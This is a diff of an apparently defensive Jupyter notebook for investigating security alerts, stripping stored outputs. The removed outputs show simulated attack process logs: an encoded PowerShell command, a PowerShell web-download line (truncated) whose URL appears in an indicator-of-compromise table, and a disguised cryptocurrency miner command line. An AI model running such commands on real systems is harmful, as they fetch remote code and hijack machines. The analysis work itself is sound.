602019-02-13 21:10:58.257000+00:002019-02-13 22:11:46.203000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding5103546True
622019-02-13 21:10:58.567000+00:002019-02-13 22:08:46.563000+00:00C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...31310527True
752019-02-13 21:11:41.770000+00:002019-02-13 22:11:41.790000+00:00C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe...2279122True
402019-02-13 22:03:42.640000+00:002019-02-13 22:03:42.877000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Begin Security Demo tasks282570False
\n", - "
" - ], - "text/plain": [ - " TimeGenerated LastEventTime \\\n", - "2 2019-02-13 21:04:45+00:00 2019-02-13 22:13:45+00:00 \n", - "1 2019-02-13 21:04:45.010000+00:00 2019-02-13 22:13:58.507000+00:00 \n", - "14 2019-02-13 21:08:46.143000+00:00 2019-02-13 22:08:46.457000+00:00 \n", - "65 2019-02-13 21:08:46.253000+00:00 2019-02-13 22:08:46.270000+00:00 \n", - "51 2019-02-13 21:09:43.893000+00:00 2019-02-13 22:08:46.537000+00:00 \n", - "39 2019-02-13 21:09:43.903000+00:00 2019-02-13 22:03:42.330000+00:00 \n", - "0 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "160 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "159 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "110 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "135 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "45 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "44 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "43 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "42 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "41 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "38 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "37 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "31 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "57 2019-02-13 21:10:57.437000+00:00 2019-02-13 22:13:58.490000+00:00 \n", - "60 2019-02-13 21:10:58.257000+00:00 2019-02-13 22:11:46.203000+00:00 \n", - "62 2019-02-13 21:10:58.567000+00:00 2019-02-13 22:08:46.563000+00:00 \n", - "75 2019-02-13 21:11:41.770000+00:00 2019-02-13 22:11:41.790000+00:00 \n", - "40 2019-02-13 22:03:42.640000+00:00 2019-02-13 22:03:42.877000+00:00 \n", - "\n", - " NewProcessName \\\n", - "2 C:\\Windows\\System32\\cscript.exe \n", - "1 C:\\Windows\\System32\\conhost.exe \n", - "14 C:\\Windows\\System32\\MusNotification.exe \n", - "65 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon... \n", - "51 C:\\Windows\\System32\\appidcertstorecheck.exe \n", - "39 C:\\Windows\\System32\\conhost.exe \n", - "0 C:\\Windows\\System32\\cmd.exe \n", - "160 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", - "159 C:\\Windows\\System32\\sppsvc.exe \n", - "110 C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe \n", - "135 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", - "45 C:\\W!ndows\\System32\\powershell.exe \n", - "44 C:\\W!ndows\\System32\\powershell.exe \n", - "43 C:\\W!ndows\\System32\\suchost.exe \n", - "42 C:\\Windows\\System32\\cmd.exe \n", - "41 C:\\Windows\\System32\\cmd.exe \n", - "38 C:\\Windows\\System32\\cmd.exe \n", - "37 C:\\Windows\\System32\\dllhost.exe \n", - "31 C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe \n", - "57 C:\\Windows\\System32\\UsoClient.exe \n", - "60 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", - "62 C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", - "75 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe \n", - "40 C:\\Windows\\System32\\cmd.exe \n", - "\n", - " CommandLine \\\n", - "2 \"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\" \n", - "1 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", - "14 C:\\Windows\\system32\\MusNotification.exe Display \n", - "65 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo... \n", - "51 C:\\Windows\\system32\\appidcertstorecheck.exe \n", - "39 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", - "0 \"cmd\" \n", - "160 C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding \n", - "159 C:\\Windows\\system32\\sppsvc.exe \n", - "110 \"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\7a9d40f2-490e-446... \n", - "135 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler \n", - "45 .\\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld... \n", - "44 .\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ... \n", - "43 .\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4 \n", - "42 cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com \n", - "41 cmd /c echo Any questions about the commands executed here then please contact one of \n", - "38 cmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 2 \n", - "37 C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} \n", - "31 \"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524... \n", - "57 C:\\Windows\\system32\\usoclient.exe StartScan \n", - "60 C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding \n", - "62 C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", - "75 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe... \n", - "40 cmd /c echo Begin Security Demo tasks \n", - "\n", - " ClusterSize commandlineTokensFull pathScore isSystemSession \n", - "2 70 13 3022 True \n", - "1 80 10 3028 True \n", - "14 4 6 3826 True \n", - "65 4 53 11146 True \n", - "51 4 5 4285 True \n", - "39 2 10 3028 False \n", - "0 1 2 2570 True \n", - "160 1 8 3546 True \n", - "159 1 5 2933 True \n", - "110 1 18 6421 True \n", - "135 1 17 4895 True \n", - "45 1 6 3283 False \n", - "44 1 26 3283 False \n", - "43 1 21 2967 False \n", - "42 1 12 2570 False \n", - "41 1 16 2570 False \n", - "38 1 13 2570 True \n", - "37 1 12 3024 True \n", - "31 1 21 4198 True \n", - "57 1 6 3180 True \n", - "60 5 10 3546 True \n", - "62 3 13 10527 True \n", - "75 2 27 9122 True \n", - "40 2 8 2570 False " - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "if 'clus_events' in locals() and not clus_events.empty:\n", " resp = input('View the clustered data? y/n')\n", @@ -4168,27 +762,14 @@ }, { "cell_type": "code", - "execution_count": 20, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:03.856018Z", "start_time": "2020-05-16T02:20:03.843018Z" } }, - "outputs": [ - { - "data": { - "text/markdown": [ - "You can view the cluster members for individual processesby inserting a new cell and entering:
`view_cluster(process_name)`
where process_name is the unqualified process binary. E.g
`view_cluster(\"reg.exe\")`" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# Look at clusters for individual process names\n", "def view_cluster(exe_name):\n", @@ -4210,20 +791,9 @@ }, { "cell_type": "code", - "execution_count": 21, + "execution_count": null, "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "datetime64[ns, UTC]" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - } - ], + "outputs": [], "source": [ "test_clus = clus_events\n", "test_clus[\"TimeGenerated\"] = test_clus[\"TimeGenerated\"].astype(dtype=\"datetime64[ns, UTC]\")\n", @@ -4233,387 +803,14 @@ }, { "cell_type": "code", - "execution_count": 22, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:06.531933Z", "start_time": "2020-05-16T02:20:06.352934Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"2163\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2163\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - "\n", - "\n", - "\n", - "\n", - "
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} else {\n", - " attempts++;\n", - " if (attempts > 100) {\n", - " clearInterval(timer);\n", - " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", - " }\n", - " }\n", - " }, 10, root)\n", - " }\n", - "})(window);" - ], - "application/vnd.bokehjs_exec.v0+json": "" - }, - "metadata": { - "application/vnd.bokehjs_exec.v0+json": { - "id": "2254" - } - }, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# Show timeline of events - clustered events\n", "if 'clus_events' in locals() and not clus_events.empty:\n", @@ -4636,32 +833,14 @@ }, { "cell_type": "code", - "execution_count": 23, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:12.962663Z", "start_time": "2020-05-16T02:20:11.763218Z" } }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "\n", - "Potential IoCs found in alert process:\n" - ] - }, - { - "data": { - "text/plain": [ - "defaultdict(set, {'windows_path': {'.\\\\suchost.exe'}})" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "process = security_alert.primary_process\n", "ioc_extractor = IoCExtract()\n", @@ -4695,100 +874,14 @@ }, { "cell_type": "code", - "execution_count": 24, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:15.419954Z", "start_time": "2020-05-16T02:20:15.359955Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "

IoC patterns found in process tree.

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "
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IoCTypeObservableSourceIndex
0ipv4168.63.129.1631
1dnsmicrosoft.com42
2dnswh401k.org44
3urlhttp://wh401k.org/getps44
4dns7a9d40f2-490e-4468-a8cf-b7822b95614d.zip110
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" - ], - "text/plain": [ - " IoCType Observable SourceIndex\n", - "0 ipv4 168.63.129.16 31\n", - "1 dns microsoft.com 42\n", - "2 dns wh401k.org 44\n", - "3 url http://wh401k.org/getps 44\n", - "4 dns 7a9d40f2-490e-4468-a8cf-b7822b95614d.zip 110" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "ioc_extractor = IoCExtract()\n", "\n", @@ -4830,22 +923,14 @@ }, { "cell_type": "code", - "execution_count": 25, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:19.183556Z", "start_time": "2020-05-16T02:20:19.165556Z" } }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "No base64 encodings found.\n" - ] - } - ], + "outputs": [], "source": [ "if source_processes is not None:\n", " dec_df = base64.unpack_items(data=source_processes, column='CommandLine')\n", @@ -4886,154 +971,14 @@ }, { "cell_type": "code", - "execution_count": 26, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:20:32.758293Z", "start_time": "2020-05-16T02:20:22.825297Z" } }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Using Open PageRank. See https://www.domcop.com/openpagerank/what-is-openpagerank\n" - ] - }, - { - "data": { - 